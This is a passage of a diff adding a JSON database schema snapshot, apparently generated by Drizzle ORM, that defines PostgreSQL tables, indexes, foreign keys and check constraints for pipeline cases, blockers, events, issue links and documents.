+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_execution_issue_id_issues_id_fk": {
+          "name": "pipeline_automation_executions_execution_issue_id_issues_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "execution_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_automation_executions_status_check": {
+          "name": "pipeline_automation_executions_status_check",
+          "value": "\"pipeline_automation_executions\".\"status\" in ('succeeded', 'failed')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_blockers": {
+      "name": "pipeline_case_blockers",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "blocked_by_case_id": {
+          "name": "blocked_by_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_blockers_case_blocked_by_uq": {
+          "name": "pipeline_case_blockers_case_blocked_by_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "blocked_by_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_blockers_blocked_by_idx": {
+          "name": "pipeline_case_blockers_blocked_by_idx",
+          "columns": [
+            {
+              "expression": "blocked_by_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_blockers_company_case_idx": {
+          "name": "pipeline_case_blockers_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_blockers_company_id_companies_id_fk": {
+          "name": "pipeline_case_blockers_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_blockers_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_blockers_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "blocked_by_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_blockers_no_self_block_check": {
+          "name": "pipeline_case_blockers_no_self_block_check",
+          "value": "\"pipeline_case_blockers\".\"case_id\" <> \"pipeline_case_blockers\".\"blocked_by_case_id\""
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_documents": {
+      "name": "pipeline_case_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_documents_company_case_key_uq": {
+          "name": "pipeline_case_documents_company_case_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_documents_document_uq": {
+          "name": "pipeline_case_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_documents_company_case_updated_idx": {
+          "name": "pipeline_case_documents_company_case_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_documents_company_id_companies_id_fk": {
+          "name": "pipeline_case_documents_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_documents_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_documents_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_documents_document_id_documents_id_fk": {
+          "name": "pipeline_case_documents_document_id_documents_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_events": {
+      "name": "pipeline_case_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "from_stage_id": {
+          "name": "from_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_stage_id": {
+          "name": "to_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_events_case_created_idx": {
+          "name": "pipeline_case_events_case_created_idx",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_events_company_case_idx": {
+          "name": "pipeline_case_events_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_events_company_id_companies_id_fk": {
+          "name": "pipeline_case_events_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_events_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_actor_agent_id_agents_id_fk": {
+          "name": "pipeline_case_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_from_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_case_events_from_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "from_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_to_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_case_events_to_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "to_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_events_type_check": {
+          "name": "pipeline_case_events_type_check",
+          "value": "\"pipeline_case_events\".\"type\" in (\n        'ingested',\n        'updated',\n        'claimed',\n        'lease_released',\n        'lease_expired',\n        'transitioned',\n        'transition_forced',\n        'transition_suggested',\n        'suggestion_resolved',\n        'review_decided',\n        'conversation_opened',\n        'issue_linked',\n        'issue_unlinked',\n        'automation_executed',\n        'automation_failed',\n        'automation_retry_requested',\n        'automation_effects_retired',\n        'automation_retry_dispatched',\n        'blockers_set',\n        'blockers_resolved',\n        'children_terminal',\n        'upstream_drift',\n        'drift_acknowledged'\n      )"
+        },
+        "pipeline_case_events_actor_type_check": {
+          "name": "pipeline_case_events_actor_type_check",
+          "value": "\"pipeline_case_events\".\"actor_type\" in ('user', 'agent', 'system')"
+        },
+        "pipeline_case_events_agent_run_check": {
+          "name": "pipeline_case_events_agent_run_check",
+          "value": "\"pipeline_case_events\".\"actor_type\" <> 'agent' or \"pipeline_case_events\".\"run_id\" is not null"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_issue_links": {
+      "name": "pipeline_case_issue_links",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "automation_attempt_id": {
+          "name": "automation_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_at": {
+          "name": "retired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_by_attempt_id": {
+          "name": "retired_by_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_reason": {
+          "name": "retired_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_issue_links_case_issue_uq": {
+          "name": "pipeline_case_issue_links_case_issue_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_issue_idx": {
+          "name": "pipeline_case_issue_links_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_company_case_idx": {
+          "name": "pipeline_case_issue_links_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_automation_attempt_idx": {
+          "name": "pipeline_case_issue_links_automation_attempt_idx",
+          "columns": [
+            {
+              "expression": "automation_attempt_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_issue_links_company_id_companies_id_fk": {
+          "name": "pipeline_case_issue_links_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_issue_links_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_issue_links_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_issue_links_issue_id_issues_id_fk": {
+          "name": "pipeline_case_issue_links_issue_id_issues_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_issue_links_role_check": {
+          "name": "pipeline_case_issue_links_role_check",
+          "value": "\"pipeline_case_issue_links\".\"role\" in ('origin', 'conversation', 'work', 'automation')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_cases": {
+      "name": "pipeline_cases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_id": {
+          "name": "stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_key": {
+          "name": "case_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fields": {
+          "name": "fields",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "workspace_ref": {
+          "name": "workspace_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_case_id": {
+          "name": "parent_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_case_version": {
+          "name": "parent_case_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_key": {
+          "name": "request_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "automation_attempt_id": {
+          "name": "automation_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "pending_suggestion": {
+          "name": "pending_suggestion",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_owner_type": {
+          "name": "lease_owner_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_agent_id": {
+          "name": "lease_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_user_id": {
+          "name": "lease_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_token": {
+          "name": "lease_token",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_expires_at": {
+          "name": "lease_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "terminal_kind": {
+          "name": "terminal_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "terminal_at": {
+          "name": "terminal_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_at": {
+          "name": "retired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_by_attempt_id": {
+          "name": "retired_by_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_reason": {
+          "name": "retired_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "hidden_from_board_at": {
+          "name": "hidden_from_board_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "child_count": {
+          "name": "child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "terminal_child_count": {
+          "name": "terminal_child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_cases_pipeline_case_key_uq": {
+          "name": "pipeline_cases_pipeline_case_key_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_parent_request_key_uq": {
+          "name": "pipeline_cases_parent_request_key_uq",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "request_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"pipeline_cases\".\"request_key\" is not null and \"pipeline_cases\".\"retired_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_company_idx": {
+          "name": "pipeline_cases_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_pipeline_stage_idx": {
+          "name": "pipeline_cases_pipeline_stage_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_parent_idx": {
+          "name": "pipeline_cases_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_automation_attempt_idx": {
+          "name": "pipeline_cases_automation_attempt_idx",
+          "columns": [
+            {
+              "expression": "automation_attempt_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_retired_idx": {
+          "name": "pipeline_cases_retired_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "retired_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_lease_expires_idx": {
+          "name": "pipeline_cases_lease_expires_idx",
+          "columns": [
+            {
+              "expression": "lease_expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"pipeline_cases\".\"lease_expires_at\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_cases_company_id_companies_id_fk": {
+          "name": "pipeline_cases_company_id_companies_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_cases_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_cases_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_parent_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_cases_parent_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "parent_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_lease_agent_id_agents_id_fk": {
+          "name": "pipeline_cases_lease_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "lease_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_created_by_agent_id_agents_id_fk": {
+          "name": "pipeline_cases_created_by_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_cases_terminal_kind_check": {
+          "name": "pipeline_cases_terminal_kind_check",
+          "value": "\"pipeline_cases\".\"terminal_kind\" is null or \"pipeline_cases\".\"terminal_kind\" in ('done', 'cancelled')"
+        },
+        "pipeline_cases_lease_owner_type_check": {
+          "name": "pipeline_cases_lease_owner_type_check",
+          "value": "\"pipeline_cases\".\"lease_owner_type\" is null or \"pipeline_cases\".\"lease_owner_type\" in ('user', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_documents": {
+      "name": "pipeline_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_documents_company_pipeline_key_uq": {
+          "name": "pipeline_documents_company_pipeline_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_documents_document_uq": {
+          "name": "pipeline_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
